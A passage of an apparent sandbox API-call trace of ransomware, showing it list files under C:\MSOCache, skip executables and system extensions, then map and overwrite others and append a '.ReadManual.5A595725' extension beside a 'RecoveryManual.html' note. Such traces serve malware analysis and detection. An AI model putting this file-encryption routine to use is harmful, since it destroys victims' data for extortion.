hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0231.458] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10b2) returned 0x2f0000 [0231.458] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0231.458] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=35212690097) returned 1 [0231.458] CloseHandle (hObject=0x194) returned 1 [0231.458] SetSecurityInfo () returned 0x57 [0231.458] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0231.458] CloseHandle (hObject=0x190) returned 1 [0231.459] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0231.459] lstrcpyW (in: lpString1=0x6ab922, lpString2="ose.exe" | out: lpString1="ose.exe") returned="ose.exe" [0231.459] lstrcmpiW (lpString1="ose.exe", lpString2="RecoveryManual.html") returned -1 [0231.459] StrStrIW (lpFirst="ose.exe", lpSrch=".ReadManual.5A595725") returned 0x0 [0231.459] StrCmpIW (psz1="exe", psz2="exe") returned 0 [0231.459] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0231.459] lstrcpyW (in: lpString1=0x6ab922, lpString2="osetup.dll" | out: lpString1="osetup.dll") returned="osetup.dll" [0231.459] lstrcmpiW (lpString1="osetup.dll", lpString2="RecoveryManual.html") returned -1 [0231.459] StrStrIW (lpFirst="osetup.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0231.459] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0231.459] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0231.459] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0231.459] lstrcpyW (in: lpString1=0x6ab922, lpString2="OWOW32WW.cab" | out: lpString1="OWOW32WW.cab") returned="OWOW32WW.cab" [0231.459] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="RecoveryManual.html") returned -1 [0231.459] StrStrIW (lpFirst="OWOW32WW.cab", lpSrch=".ReadManual.5A595725") returned 0x0 [0231.459] StrCmpIW (psz1="cab", psz2="exe") returned -1 [0231.459] StrCmpIW (psz1="cab", psz2="dll") returned -1 [0231.459] StrCmpIW (psz1="cab", psz2="sys") returned -1 [0231.459] StrCmpIW (psz1="cab", psz2="msi") returned -1 [0231.459] StrCmpIW (psz1="cab", psz2="mui") returned -1 [0231.459] StrCmpIW (psz1="cab", psz2="inf") returned -1 [0231.459] StrCmpIW (psz1="cab", psz2="cat") returned -1 [0231.459] StrCmpIW (psz1="cab", psz2="bat") returned 1 [0231.459] StrCmpIW (psz1="cab", psz2="cmd") returned -1 [0231.459] StrCmpIW (psz1="cab", psz2="ps1") returned -1 [0231.459] StrCmpIW (psz1="cab", psz2="vbs") returned -1 [0231.459] StrCmpIW (psz1="cab", psz2="ttf") returned -1 [0231.459] StrCmpIW (psz1="cab", psz2="fon") returned -1 [0231.459] StrCmpIW (psz1="cab", psz2="lnk") returned -1 [0231.459] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" [0231.459] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.ReadManual.5A595725" [0231.459] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.ReadManual.5A595725") returned 99 [0231.459] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=35212819238) returned 1 [0231.459] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0231.460] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0231.460] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=36233052) returned 1 [0231.460] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x228df5c, lpName=0x0) returned 0x194 [0231.460] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0231.460] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.460] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0231.463] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0231.464] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x228df5c) returned 0x4350000 [0232.960] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0233.034] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=35370273367) returned 1 [0233.034] CloseHandle (hObject=0x194) returned 1 [0233.034] SetSecurityInfo () returned 0x57 [0233.034] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0233.034] CloseHandle (hObject=0x190) returned 1 [0233.034] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0233.034] lstrcpyW (in: lpString1=0x6ab922, lpString2="PidGenX.dll" | out: lpString1="PidGenX.dll") returned="PidGenX.dll" [0233.034] lstrcmpiW (lpString1="PidGenX.dll", lpString2="RecoveryManual.html") returned -1 [0233.034] StrStrIW (lpFirst="PidGenX.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0233.034] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0233.035] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0233.035] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0233.035] lstrcpyW (in: lpString1=0x6ab922, lpString2="pkeyconfig-office.xrm-ms" | out: lpString1="pkeyconfig-office.xrm-ms") returned="pkeyconfig-office.xrm-ms" [0233.035] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="RecoveryManual.html") returned -1 [0233.035] StrStrIW (lpFirst="pkeyconfig-office.xrm-ms", lpSrch=".ReadManual.5A595725") returned 0x0 [0233.035] StrCmpIW (psz1="xrm-ms", psz2="exe") returned 1 [0233.035] StrCmpIW (psz1="xrm-ms", psz2="dll") returned 1 [0233.035] StrCmpIW (psz1="xrm-ms", psz2="sys") returned 1 [0233.035] StrCmpIW (psz1="xrm-ms", psz2="msi") returned 1 [0233.035] StrCmpIW (psz1="xrm-ms", psz2="mui") returned 1 [0233.035] StrCmpIW (psz1="xrm-ms", psz2="inf") returned 1 [0233.035] StrCmpIW (psz1="xrm-ms", psz2="cat") returned 1 [0233.035] StrCmpIW (psz1="xrm-ms", psz2="bat") returned 1 [0233.035] StrCmpIW (psz1="xrm-ms", psz2="cmd") returned 1 [0233.035] StrCmpIW (psz1="xrm-ms", psz2="ps1") returned 1 [0233.035] StrCmpIW (psz1="xrm-ms", psz2="vbs") returned 1 [0233.035] StrCmpIW (psz1="xrm-ms", psz2="ttf") returned 1 [0233.035] StrCmpIW (psz1="xrm-ms", psz2="fon") returned 1 [0233.035] StrCmpIW (psz1="xrm-ms", psz2="lnk") returned 1 [0233.035] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" [0233.035] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.ReadManual.5A595725" [0233.035] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.ReadManual.5A595725") returned 111 [0233.035] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=35370391582) returned 1 [0233.035] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0233.070] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0233.070] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=715834) returned 1 [0233.070] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaec3a, lpName=0x0) returned 0x194 [0233.070] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xee) returned 1 [0233.071] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.071] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0233.127] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0233.127] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaec3a) returned 0x2690000 [0234.287] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0234.288] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=35495693093) returned 1 [0234.288] CloseHandle (hObject=0x194) returned 1 [0234.288] SetSecurityInfo () returned 0x57 [0234.288] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0234.288] CloseHandle (hObject=0x190) returned 1 [0234.297] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0234.297] lstrcpyW (in: lpString1=0x6ab922, lpString2="setup.exe" | out: lpString1="setup.exe") returned="setup.exe" [0234.297] lstrcmpiW (lpString1="setup.exe", lpString2="RecoveryManual.html") returned 1 [0234.297] StrStrIW (lpFirst="setup.exe", lpSrch=".ReadManual.5A595725") returned 0x0 [0234.297] StrCmpIW (psz1="exe", psz2="exe") returned 0 [0234.297] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0234.297] lstrcpyW (in: lpString1=0x6ab922, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0234.297] lstrcmpiW (lpString1="Setup.xml", lpString2="RecoveryManual.html") returned 1 [0234.297] StrStrIW (lpFirst="Setup.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0234.297] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0234.297] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0234.297] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0234.297] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0234.297] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0234.297] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0234.297] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0234.297] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0234.298] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0234.298] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0234.298] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0234.298] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0234.298] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0234.298] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0234.298] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" [0234.298] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725" [0234.298] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned 96 [0234.298] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=35496657435) returned 1 [0234.298] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0234.298] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0234.298] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=20577) returned 1 [0234.298] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5061, lpName=0x0) returned 0x194 [0234.298] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0234.299] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.299] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0234.334] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0234.334] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5061) returned 0x2f0000 [0234.334] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0234.335] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=35500341402) returned 1 [0234.335] CloseHandle (hObject=0x194) returned 1 [0234.335] SetSecurityInfo () returned 0x57 [0234.335] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0234.335] CloseHandle (hObject=0x190) returned 1 [0234.335] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1 [0234.335] lstrcpyW (in: lpString1=0x6ab922, lpString2="VisiorWW.cab" | out: lpString1="VisiorWW.cab") returned="VisiorWW.cab" [0234.335] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="RecoveryManual.html") returned 1 [0234.335] StrStrIW (lpFirst="VisiorWW.cab", lpSrch=".ReadManual.5A595725") returned 0x0 [0234.335] StrCmpIW (psz1="cab", psz2="exe") returned -1 [0234.335] StrCmpIW (psz1="cab", psz2="dll") returned -1 [0234.335] StrCmpIW (psz1="cab", psz2="sys") returned -1 [0234.335] StrCmpIW (psz1="cab", psz2="msi") returned -1 [0234.335] StrCmpIW (psz1="cab", psz2="mui") returned -1 [0234.335] StrCmpIW (psz1="cab", psz2="inf") returned -1 [0234.335] StrCmpIW (psz1="cab", psz2="cat") returned -1 [0234.335] StrCmpIW (psz1="cab", psz2="bat") returned 1 [0234.335] StrCmpIW (psz1="cab", psz2="cmd") returned -1 [0234.336] StrCmpIW (psz1="cab", psz2="ps1") returned -1 [0234.336] StrCmpIW (psz1="cab", psz2="vbs") returned -1 [0234.336] StrCmpIW (psz1="cab", psz2="ttf") returned -1 [0234.336] StrCmpIW (psz1="cab", psz2="fon") returned -1 [0234.336] StrCmpIW (psz1="cab", psz2="lnk") returned -1 [0234.336] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" [0234.336] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.ReadManual.5A595725" [0234.336] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.ReadManual.5A595725") returned 99 [0234.336] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=35500452287) returned 1 [0234.336] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab")) returned 0x2020 [0234.380] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0234.381] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=195011319) returned 1 [0234.381] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb9fa2f7, lpName=0x0) returned 0x194 [0234.381] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0234.381] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.381] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0234.427] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0234.428] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4000000) returned 0x6ed0000 [0239.721] UnmapViewOfFile (lpBaseAddress=0x6ed0000) returned 1 [0239.865] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x4000000, dwNumberOfBytesToMap=0x4000000) returned 0x6ed0000 [0246.632] UnmapViewOfFile (lpBaseAddress=0x6ed0000) returned 1 [0246.775] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x8000000, dwNumberOfBytesToMap=0x39fa2f7) returned 0x6ed0000 [0249.586] UnmapViewOfFile (lpBaseAddress=0x6ed0000) returned 1 [0249.718] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=37038869940) returned 1 [0249.720] CloseHandle (hObject=0x194) returned 1 [0249.720] SetSecurityInfo () returned 0x57 [0249.720] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0249.720] CloseHandle (hObject=0x190) returned 1 [0250.045] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0xa0000003, 